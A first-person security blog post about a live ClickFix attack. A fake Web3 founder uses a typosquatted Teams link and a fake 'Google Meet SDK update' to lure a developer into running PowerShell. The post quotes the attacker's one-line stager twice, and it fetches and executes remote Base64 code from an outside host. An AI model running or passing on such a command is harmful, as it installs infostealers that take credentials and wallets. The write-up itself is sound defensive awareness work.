Live Malware Attack: How a Fake VC Founder Tried to Hack Me via Calendly, Fake Teams & "Google Meet SDK"

Introduction

Only recently, I published a technical breakdown of a supply chain attack targeting developers. Today, I experienced a live social engineering attack right in the middle of a scheduled business call.

If you are a developer, Web3 architect, or engineer active on LinkedIn, you need to be aware of a rapidly escalating threat vector known as ClickFix (or Fake Meeting Software Update lures). Here is how a scammer impersonating a Web3 venture founder tried to execute a malicious PowerShell payload on my machine during a Google Meet call — and why you shouldn't trust a "real face" on video.

The Bait: High-Touch LinkedIn Outreach

It started with a personalized LinkedIn message from a profile posing as the founder of a digital asset management firm. The message was well-crafted, referencing my recent technical write-ups and proposing an "ownership-heavy" technical role around secure infrastructure and account abstraction (ERC-4337).

Everything seemed legitimate, so we scheduled a 30-minute intro call via Calendly.

Phase 1: The Calendly Hook & Typosquatted Domain

The attack began with a personalized LinkedIn outreach regarding a technical role. Once we agreed to connect, I received a standard Calendly invite email:

• Event Name: Collaboration with Liudmyla

• Location Link: https://live.microteam.app/meet/68642579536?p=...

Notice the location URL: microteam.app. This is a typosquatted phishing domain engineered to impersonate Microsoft Teams (teams.microsoft.com).

When clicking through Calendly, a standard redirection warning appeared: "You are leaving Calendly...". To an unsuspecting user, this feels like a normal external meeting link.

Phase 2: The Fake Microsoft Teams Web App

Clicking the link opened a web interface designed to mirror Microsoft Teams.

Red Flag #1: The page intentionally avoided prompting or redirecting to the official desktop Microsoft Teams application. It forced execution entirely inside the browser to maintain full control over the displayed UI and fake error prompts.

Once the "call" initiated and the scammers joined, a fake connection error popped up on the page, displaying a pre-formatted PowerShell payload disguised as meeting configuration parameters:

set MEETING_ROOM='68642579536';set AUTH_API_TOKEN='...';set MEETING_JWT='zoom.us';set UPDATE_METHOD='manual';set MEETING_SDK_VERSION='v7.14.3';set MEETING_URL='https://teams.live';iex ([Text.Encoding]::UTF8.GetString([Convert]::FromBase64String((irm "https://wdimo.us/x64-win?id=..."))))

Phase 3: The Pivot to Google Meet & Fallback Screenshot Lure

Recognizing the command as a malicious stager, I refused to run it and suggested recreating the call room in an official Google Meet room.

The attackers didn't panic—they immediately pivoted to their secondary fallback lure:

1. They joined the Google Meet call and turned their cameras ON, showing real faces in an office setup to lower my security guard.

2. They claimed they couldn't see my video stream due to a "Meet connection issue."

3. They sent a pre-fabricated screenshot instructing me to run: "Updating Google Meet SDK" via Windows Terminal as Administrator (Win + X -> A).

This proves they have a fully prepared playbook: whether the target stays on their fake Teams site or forces a move to Google Meet, they have ready-made visual lures for every platform.

The Psychological Trap: "But They Had Their Cameras On!"

When the meeting started, the callers actually turned their cameras on. On the screen were real-looking people in an office-like setup, behaving completely like professional founders.

This is where the psychological attack vector lies. Traditionally, we expect scammers to hide behind text or turned-off cameras. Seeing live faces tricks your brain into lowering its security guard: "They're on camera, so this must be a real company and just a weird software glitch."

Why live video means nothing in modern cyber attacks:

1. Hired Actors / Drops: Threat groups (including sophisticated Web3 threat actors) hire live actors or drops to sit in front of cameras and execute pre-written scripts.

2. Deepfakes & Virtual Cameras: Real-time AI video generation via virtual camera drivers (OBS, ManyCam) allows attackers to stream realistic video feeds in real time.

3. Trust Amplification: The camera is explicitly used to make you execute malicious actions you would otherwise immediately reject.

The Trap: The "Connection Issue" & Fake SDK Update

Shortly after joining, the "founder" claimed she couldn't see my video stream or connect properly.

Instead of troubleshooting standard browser permissions, she sent a screenshot with instructions titled: "Updating Google Meet SDK".

The instructions asked me to:

1. Open Windows Terminal as Administrator (Win + X -> A).

2. Copy a pre-formatted command snippet.

3. Paste and press Enter to "fix the room connection."

The snippet contained environment variables (MEETING_ROOM, MEETING_JWT, MEETING_URL) mixed with an inline PowerShell command:

iex ([Text.Encoding]::UTF8.GetString([Convert]::FromBase64String((irm "https://wdimo.us/x64-win?id=..."))))

Technical Deconstruction: Why This Is Deadly

• Google Meet is strictly browser-based (WebRTC). There is no local client SDK that ever requires terminal updates or PowerShell commands.

• irm (Invoke-RestMethod) + iex (Invoke-Expression): Downloads a remote Base64-encoded payload directly into memory and executes it immediately, bypassing standard disk-based antivirus scans.

• Payload Impact: These stagers typically deploy Infostealers (such as Lumma, Vidar, or Stealc). Within seconds of execution, they harvest browser cookies, session tokens, saved credentials, SSH keys, Telegram/Discord sessions, and Web3 wallet extensions (MetaMask, Phantom, etc.).

The Scam Fallback: Refusing Alternative Channels

Knowing this was a malicious payload, I decided to test their reaction and suggested moving to a simple video/audio check over Telegram or WhatsApp:

Me: "Let's call in Telegram or WhatsApp. My TG username @..." > Scammer: "Sorry, I don't call for business on Telegram and WhatsApp call."

When scammers realize you won't execute their script, they refuse alternative channels because their sole objective is code execution—not a real conversation.

My final response was straightforward:

"So our meeting will not take place. All the best!" — and I disconnected, blocked, and reported the account.

Key Takeaways for Engineers & Founders

1. A Live Camera Is NOT Proof of Identity: Video feeds (whether deepfakes or live actors) are used as psychological tools to bypass critical thinking. Code audit always overrides human optics.

2. Never Run Terminal Commands for Web Apps: No legitimate meeting platform (Google Meet, Zoom, Teams) will ever ask you to open PowerShell, CMD, or Terminal to fix a connection.

3. Beware of Administrator Escalation: Prompts asking for Win + X -> A are deliberately escalating privileges to bypass UAC and gain full administrative system access.

4. Report Impersonators: Always report fake recruiter/founder profiles on LinkedIn to prevent them from targeting other developers in the community.

Stay vigilant!